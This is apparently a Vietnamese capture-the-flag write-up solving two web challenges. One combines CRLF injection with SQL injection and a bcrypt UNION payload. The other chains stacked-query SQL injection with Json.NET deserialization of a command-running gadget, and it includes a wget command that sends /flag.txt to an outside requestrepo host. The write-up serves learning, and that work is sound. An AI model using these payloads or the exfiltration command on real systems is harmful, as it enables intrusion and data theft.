# University CTF 2023: Brains & Bytes --- ###### tags: `CTF` ## 1. GateCrash Source code: **main.nim** ```python! import asyncdispatch, strutils, jester, httpClient, json import std/uri const userApi = "http://127.0.0.1:9090" proc msgjson(msg: string): string = """{"msg": "$#"}""" % [msg] proc containsSqlInjection(input: string): bool = for c in input: let ordC = ord(c) if not ((ordC >= ord('a') and ordC <= ord('z')) or (ordC >= ord('A') and ordC <= ord('Z')) or (ordC >= ord('0') and ordC <= ord('9'))): return true return false settings: port = Port 1337 routes: post "/user": let username = @"username" let password = @"password" if containsSqlInjection(username) or containsSqlInjection(password): resp msgjson(username) let userAgent = decodeUrl(request.headers["user-agent"]) let jsonData = %*{ "username": username, "password": password } let jsonStr = $jsonData let client = newHttpClient(userAgent) client.headers = newHttpHeaders({"Content-Type": "application/json"}) let response = client.request(userApi & "/login", httpMethod = HttpPost, body = jsonStr) if response.code != Http200: resp msgjson(response.body.strip()) resp msgjson(readFile("/flag.txt")) runForever() ``` **main.go** ```python! package main import ( "crypto/rand" "database/sql" "encoding/hex" "encoding/json" "fmt" "log" "net/http" "strconv" "strings" "github.com/gorilla/mux" _ "github.com/mattn/go-sqlite3" "golang.org/x/crypto/bcrypt" ) var db *sql.DB var allowedUserAgents = []string{ "Mozilla/7.0", "ChromeBot/9.5", "SafariX/12.2", "QuantumBreeze/3.0", "EdgeWave/5.1", "Dragonfly/8.0", "LynxProwler/2.7", "NavigatorX/4.3", "BraveCat/1.8", "OceanaBrowser/6.5", } const ( sqlitePath = "./user.db" webPort = 9090 ) type User struct { ID int Username string Password string } func randomHex(n int) (string, error) { bytes := make([]byte, n) if _, err := rand.Read(bytes); err != nil { return "", err } return hex.EncodeToString(bytes), nil } func seedDatabase() { createTable := ` CREATE TABLE IF NOT EXISTS users ( id INTEGER PRIMARY KEY AUTOINCREMENT, username TEXT NOT NULL, password TEXT NOT NULL ); ` _, err := db.Exec(createTable) if err != nil { log.Fatal(err) } for i := 0; i < 10; i++ { newUser, _ := randomHex(32) newPass, _ := randomHex(32) hashedPassword, err := bcrypt.GenerateFromPassword([]byte(newPass), bcrypt.DefaultCost) if err != nil { fmt.Println(err) return } _, err = db.Exec("INSERT INTO users (username, password) VALUES ('" + newUser + "', '" + string(hashedPassword) + "');") if err != nil { fmt.Println(err) return } } } func loginHandler(w http.ResponseWriter, r *http.Request) { found := false for _, userAgent := range allowedUserAgents { if strings.Contains(r.Header.Get("User-Agent"), userAgent) { found = true break } } if !found { http.Error(w, "Browser not supported", http.StatusNotAcceptable) return } var user User err := json.NewDecoder(r.Body).Decode(&user) if err != nil { http.Error(w, err.Error(), http.StatusBadRequest) return } userPassword := user.Password row := db.QueryRow("SELECT * FROM users WHERE username='" + user.Username + "';") err = row.Scan(&user.ID, &user.Username, &user.Password) if err != nil { http.Error(w, "Invalid username", http.StatusUnauthorized) return } err = bcrypt.CompareHashAndPassword([]byte(user.Password), []byte(userPassword)) if err != nil { http.Error(w, "Invalid password", http.StatusUnauthorized) return } w.WriteHeader(http.StatusOK) fmt.Fprintln(w, "Login successful") } func main() { var err error db, err = sql.Open("sqlite3", sqlitePath) if err != nil { log.Fatal(err) } defer db.Close() seedDatabase() r := mux.NewRouter() r.HandleFunc("/login", loginHandler).Methods("POST") http.Handle("/", r) fmt.Println("Server is running on " + strconv.Itoa(webPort)) http.ListenAndServe(":"+strconv.Itoa(webPort), nil) } ``` Chall này sử dụng **nim** để gửi một request đến một api db `http://127.0.0.1:9090/login` được code bằng **go** với chức năng xử lý đăng nhập bằng query go-sqlite3. Đoạn code dính lỗi SQLi: ```python! row := db.QueryRow("SELECT * FROM users WHERE username='" + user.Username + "';") err = row.Scan(&user.ID, &user.Username, &user.Password) ``` Tuy nhiên ở **nim**, username và password được filter bằng hàm `containsSqlInjection()` chỉ cho phép các ký tự `a-zA-Z0-9`, sau đó convert thành chuỗi json và post đến API db. Vậy việc inject SQLi ở post đến API **nim** là không khả thi. Trong **nim**, đoạn code dưới đây bị dính lỗi CRLF: ```python! let userAgent = decodeUrl(request.headers["user-agent"]) let jsonData = %*{ "username": username, "password": password } let jsonStr = $jsonData ``` Ý tưởng ở đây là lợi dụng CRLF để inject vào body của `jsonData`, bypass qua đoạn check SQLi. Để làm được điều đó thì Content-Length của body request thật của mình phải bằng Content-Length mà mình inject vào. Tiếp theo là bypass SQLi và hash passwd, mình sử dụng `union` để select một passwd đơn giản mà mình đã hash từ trước ```python! package main import ( "fmt" "golang.org/x/crypto/bcrypt" ) func main() { password := "a" hashedPassword, err := bcrypt.GenerateFromPassword([]byte(password), bcrypt.DefaultCost) if err != nil { fmt.Println("Error:", err) return } err = bcrypt.CompareHashAndPassword([]byte(hashedPassword), []byte(password)) if err != nil { fmt.Println("Error:", err) return } fmt.Println("Hashed Password:", string(hashedPassword)) } ``` ![image](https://hackmd.io/_uploads/rJ4frlE8T.png) Sau đó sử dụng SQLi để bypass: ```json! { "username":"1' union select 1,'a','$2a$10$TfmyYsFS.7XfkEhqAV.ibuN4d5M8WuYdayp..27MTDSyUgMsYBrLa'-- -", "password":"a" } ``` ![image](https://hackmd.io/_uploads/rJTMRbGUa.png) ## 2. Nexus Void Bài này viết bằng C# mà mình chưa đọc C# và debug nó bao giờ nên mất kha khá thời gian để đọc code. Khi mới đọc thì mình thấy có khá nhiều chỗ dính SQLi, flag không có trong DB nên mình thử các case read file hay RCE attach database, load_extension nhưng không hiệu quả. Thằng `/status` có đoạn này: ```csharp! [Route("/status")] [HttpGet] public IActionResult Status() { StatusCheckHelper statusCheckHelper = new StatusCheckHelper(); statusCheckHelper.command = "bash /tmp/cpu.sh"; string cpuUsage = statusCheckHelper.output; statusCheckHelper.command = "bash /tmp/mem.sh"; string memoryUsage = statusCheckHelper.output; statusCheckHelper.command = "bash /tmp/disk.sh"; string diskUsage = statusCheckHelper.output; return Content($"CPU Usage: {cpuUsage}\nMemory Usage: {memoryUsage}\nDisk Space: {diskUsage}"); } ``` Class **StatusCheckHelper.cs** : ```csharp! using System.Diagnostics; namespace Nexus_Void.Helpers { public class StatusCheckHelper { public string output { get; set; } private string _command; public string command { get { return _command; } set { _command = value; try { var p = new System.Diagnostics.Process(); var processStartInfo = new ProcessStartInfo() { WindowStyle = ProcessWindowStyle.Hidden, FileName = $"/bin/bash", WorkingDirectory = "/tmp", Arguments = $"-c \"{_command}\"", RedirectStandardOutput = true, RedirectStandardError = true, UseShellExecute = false }; p.StartInfo = processStartInfo; p.Start(); output = p.StandardOutput.ReadToEnd(); } catch { output = "Something went wrong!"; } } } } } ``` Class này có phương thức `command` nhận value và thực thi command đó sau đó trả về giá trị cho thuộc tính `ouput`. Ban đầu mình thử attach database để ghi đè lên thằng `/tmp/disk.sh` sau đó gọi đến entry point `/status` để thực thi command của mình tuy nhiên việc ghi đè là thất bại. Đọc code lại mình mới để ý là nó có một class sử dụng Json.NET Serialize. **SerializeHelper.cs** ```csharp! using Newtonsoft.Json; using Nexus_Void.Models; namespace Nexus_Void.Helpers { public class SerializeHelper { public static string Serialize(List<ProductModel> list) { string serializedResult = JsonConvert.SerializeObject(list, new JsonSerializerSettings { TypeNameHandling = TypeNameHandling.All }); string encodedData = EncodeHelper.Encode(serializedResult); return encodedData; } public static List<ProductModel> Deserialize(string str) { string decodedData = EncodeHelper.Decode(str); var deserialized = JsonConvert.DeserializeObject(decodedData, new JsonSerializerSettings { TypeNameHandling = TypeNameHandling.All }); List<ProductModel> products = deserialized as List<ProductModel>; return products; } } } ``` Class trên có 2 phương thức là Serialize và Deserialize với một `List<ProductModel>`. Class **SerializeHelper.cs**: ```csharp! using Newtonsoft.Json; using Nexus_Void.Models; namespace Nexus_Void.Helpers { public class SerializeHelper { public static string Serialize(List<ProductModel> list) { string serializedResult = JsonConvert.SerializeObject(list, new JsonSerializerSettings { TypeNameHandling = TypeNameHandling.All }); string encodedData = EncodeHelper.Encode(serializedResult); return encodedData; } public static List<ProductModel> Deserialize(string str) { string decodedData = EncodeHelper.Decode(str); var deserialized = JsonConvert.DeserializeObject(decodedData, new JsonSerializerSettings { TypeNameHandling = TypeNameHandling.All }); List<ProductModel> products = deserialized as List<ProductModel>; return products; } } } ``` Ở đây họ sử dụng thư viện **Newtonsoft.Json** với **TypeNameHandling.All**. Các giá trị của **TypeNameHandling**: - **None**, Do not include the type name when serializing types Objects, Include the .NET type name when serializing into a JSON object structure. - **Array**, Include the .NET type name when serializing into a JSON array structure. - **All**, Always include the .NET type name when serializing. - **Auto**, Include the .NET type name when the type of the object being serialized is not the same as its declared type. Nó sẽ deserialize xong sau đó mới gán bằng một `List<ProductModel>`, mình có để lợi dụng nó để deserialize class **StatusCheckHelper**, sau khi deserialize, **StatusCheckHelper** sẽ thực thi command với giá trị mà mình có thể control được. Mặc dù server sẽ báo lỗi, tuy nhiên command của mình vẫn sẽ thực thi ngay sau khi deserialize, do đó mình có để blind command ở đoạn này. Kỹ thuật này được gọi là Deserialize Custom Gadgets Chain. Mình sẽ demo trước để test thử, tạo một project CSharp, add package `Newtonsoft` và copy class **StatusCheckHelper.cs**: Trong class **StatusCheckHelper.cs**, sửa lại đoạn execute command một chút vì mình demo trên Windows: ```csharp! var processStartInfo = new ProcessStartInfo() { WindowStyle = ProcessWindowStyle.Hidden, FileName = $"cmd.exe", // WorkingDirectory = "/tmp", Arguments = $"/c \"{_command}\"", RedirectStandardOutput = true, RedirectStandardError = true, UseShellExecute = false }; ``` **Program.cs** ```csharp! using MyApp.Helpers; using Newtonsoft.Json; using Newtonsoft.Json.Linq; StatusCheckHelper sc = new StatusCheckHelper(); sc.command = "curl http://zbjfgdkc.requestrepo.com"; string bruh = JsonConvert.SerializeObject(sc, new JsonSerializerSettings { TypeNameHandling = TypeNameHandling.All }); Console.WriteLine(bruh); var deserialized = JsonConvert.DeserializeObject(bruh, new JsonSerializerSettings { TypeNameHandling = TypeNameHandling.All }); ``` ![image](https://hackmd.io/_uploads/Sk8LKbN86.png) ![image](https://hackmd.io/_uploads/SkXYFWEIa.png) Bây giờ đến phần chức năng deserialize trong website. Chức năng add **wishlist**: ```csharp! [HttpPost] public IActionResult Wishlist(string name, string sellerName) { string ID = HttpContext.Items["ID"].ToString(); string sqlQueryGetWishlist = $"SELECT * from Wishlist WHERE ID={ID}"; var wishlist = _db.Wishlist.FromSqlRaw(sqlQueryGetWishlist).FirstOrDefault(); string sqlQueryProduct = $"SELECT * from Products WHERE name='{name}' AND sellerName='{sellerName}'"; var product = _db.Products.FromSqlRaw(sqlQueryProduct).FirstOrDefault(); if(!string.IsNullOrEmpty(product.name)) { if (wishlist != null && !string.IsNullOrEmpty(wishlist.data)) { List<ProductModel> products = SerializeHelper.Deserialize(wishlist.data); ProductModel result = products.Find(x => x.name == product.name); if (result != null) { return Content("Product already exists"); } products.Add(product); string serializedData = SerializeHelper.Serialize(products); string sqlQueryAddWishlist = $"UPDATE Wishlist SET data='{serializedData}' WHERE ID={ID}"; _db.Database.ExecuteSqlRaw(sqlQueryAddWishlist); } else { string username = HttpContext.Items["username"].ToString(); List<ProductModel> wishListProducts = new List<ProductModel>(); wishListProducts.Add(product); string serializedData = SerializeHelper.Serialize(wishListProducts); string sqlQueryAddWishlist = $"INSERT INTO Wishlist(ID, username, data) VALUES({ID},'{username}', '{serializedData}')"; _db.Database.ExecuteSqlRaw(sqlQueryAddWishlist); } return Content("Added"); } return Content("Invalid"); } ``` Table `Wishlist` chứa data của `product` sau khi serialize. Nó sẽ deserialize `Wishlist` cũ để kiểm tra xem `user` đó đã có `product` kia hay chưa. Nếu chưa sẽ được thêm vào `wishListProducts` và serialize và INSERT INTO vào bảng `Wishlist`. Khi add vào Wishlist, server sẽ thực hiện lần lượt các hành động sau: ![image](https://hackmd.io/_uploads/H1a1iZVUp.png) Để thay đổi data mình nghĩ đến một cách là UPDATE data trong table Wishlist. Chức năng `Setting` dính SQLi: ```csharp! [HttpPost] public IActionResult Setting(UserModel user) { string ID = HttpContext.Items["ID"].ToString(); JWTHelper jwt = new JWTHelper(_configuration); string jwtToken = jwt.GenerateJwtToken(user.username, ID); string sqlQuery = $"UPDATE Users SET username='{user.username}' WHERE ID={ID}"; _db.Database.ExecuteSqlRaw(sqlQuery); Response.Cookies.Append("Token", jwtToken); ViewData["Message"] = "Profile updated!"; ViewData["username"] = user.username; return View(); } ``` Mình có thể stackquery ở đây, payload blind command: ```shell! wget --post-data $(cat /flag.txt) -O- zbjfgdkc.requestrepo.com ``` Payload serialize, nhớ thay **MyApp** thành **Nexus_Void**: ![image](https://hackmd.io/_uploads/rkT7kGN8T.png) Base64 nó và đáp vào payload SQli: ![image](https://hackmd.io/_uploads/S1AiyMVLp.png) Truy cập `/Home/Wishlist` để deserialize payload, vào requestrepo để hóng flag: ![image](https://hackmd.io/_uploads/SJlbgfVU6.png)